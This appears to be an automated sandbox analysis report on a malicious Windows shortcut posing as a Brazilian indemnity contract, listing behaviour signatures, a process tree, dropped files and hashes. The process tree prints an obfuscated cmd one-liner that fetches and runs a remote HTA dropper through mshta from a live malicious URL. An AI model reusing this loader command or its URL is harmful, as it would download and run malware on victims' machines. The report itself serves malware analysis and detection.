Analysis

  • max time kernel
    53s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    03/08/2026, 12:42

General

  • Target
    Contrato_Indeniza_Brasil-YBDPQK.lnk
  • Size 1KB
  • Sample260803-pxmapahf52
  • SHA256 2bc9d3003c7b135f18b28b1175536a03e0006e88f1625d5fbdc806c68d50613c
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

  • Badlisted process makes network request 9 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Modifies Internet Explorer settings 1 TTPs 8 IoCs
  • Modifies registry class 24 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-YBDPQK.lnk
    1⤵
    • Checks computer location settings
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2312
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /v:on /C "set JH=msh&&set Sl=ta&&start "" !JH!!Sl! https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2292
      • C:\Windows\System32\mshta.exe
        mshta https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D
        3⤵
        • Badlisted process makes network request
        • Checks computer location settings
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:3800
        • C:\Windows\System32\rundll32.exe
          "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:668
          • C:\Windows\system32\rundll32.exe
            C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
            5⤵
              PID:3340
          • C:\Windows\System32\rundll32.exe
            "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
            4⤵
            • Modifies Internet Explorer settings
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of WriteProcessMemory
            PID:4124
            • C:\Windows\system32\rundll32.exe
              C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
              5⤵
              • Modifies registry class
              PID:4448
          • C:\Windows\System32\rundll32.exe
            "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
            4⤵
            • Modifies Internet Explorer settings
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of WriteProcessMemory
            PID:2196
            • C:\Windows\system32\rundll32.exe
              C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
              5⤵
              • Modifies registry class
              PID:2004
          • C:\Windows\System32\rundll32.exe
            "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
            4⤵
            • Modifies Internet Explorer settings
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of WriteProcessMemory
            PID:1836
            • C:\Windows\system32\rundll32.exe
              C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
              5⤵
              • Modifies registry class
              PID:2180
          • C:\Windows\System32\attrib.exe
            "C:\Windows\System32\attrib.exe" +h +s "C:\gtjemlbe\"
            4⤵
            • Views/modifies file attributes
            PID:1256
          • C:\gtjemlbe\gtjemlbe.exe
            "C:\gtjemlbe\gtjemlbe.exe" C:\gtjemlbe\gtjemlbe
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:3460
          • C:\Windows\System32\rundll32.exe
            "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
            4⤵
              PID:2408
              • C:\Windows\system32\rundll32.exe
                C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
                5⤵
                  PID:4816
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c ping -n 300 -w 1000 127.0.0.1 >nul
                4⤵
                • Executes a command shell one-liner
                • System Network Configuration Discovery: Internet Connection Discovery
                PID:3480
                • C:\Windows\System32\PING.EXE
                  ping -n 300 -w 1000 127.0.0.1
                  5⤵
                  • System Network Configuration Discovery: Internet Connection Discovery
                  • Runs ping.exe
                  PID:2904

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

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              Downloads

              103621DE9CD5414CC2538780B4B75751

              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
              • Size 808B
              • SHA256 3dd5ea8a14eb665ba6057d424f94e5e83757ffaab456578dbf038af04053b19e
              • MD5 SHA1 SHA512 TLSH

              103621DE9CD5414CC2538780B4B75751

              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
              • Size 192B
              • SHA256 d69dfb67f4ab181bc9ad59942896804660c0a16d68e3ad588bd399e3b4e579d9
              • MD5 SHA1 SHA512 TLSH

              a1.zip

              • Path C:\gtjemlbe\a1.zip
              • Size 494KB
              • SHA256 e949227784570264f550297a1b1cd1c9ae93d500bb4664002c60f29581ea5da9
              • MD5 SHA1 SHA512 SSDEEP TLSH

              a2.zip

              • Path C:\gtjemlbe\a2.zip
              • Size 1.3MB
              • SHA256 95aad839b7fdad52eccf5d2cf2e8d3c5c7c765c7b0512fdd04bd06fc5a583fdc
              • MD5 SHA1 SHA512 SSDEEP TLSH

              a3.zip

              • Path C:\gtjemlbe\a3.zip
              • Size 2KB
              • SHA256 0367de66376ca6a7b19c555803f6c58ee1c19a5dfe6aad2acc893aa399fbb186
              • MD5 SHA1 SHA512 TLSH

              gtjemlbe

              • Path C:\gtjemlbe\gtjemlbe
              • Size 1.3MB
              • SHA256 30af0a4b9b7c7d8cf41c169be3d51c03d9dabd0c18ed699b31850b618b5db55e
              • MD5 SHA1 SHA512 SSDEEP TLSH

              gtjemlbe.exe

              • Path C:\gtjemlbe\gtjemlbe.exe
              • Size 957KB
              • SHA256 bdd2b7236a110b04c288380ad56e8d7909411da93eed2921301206de0cb0dda1
              • MD5 SHA1 SHA512 SSDEEP TLSH

              memory/3460-85-0x0000000005690000-0x0000000005857000-memory.dmp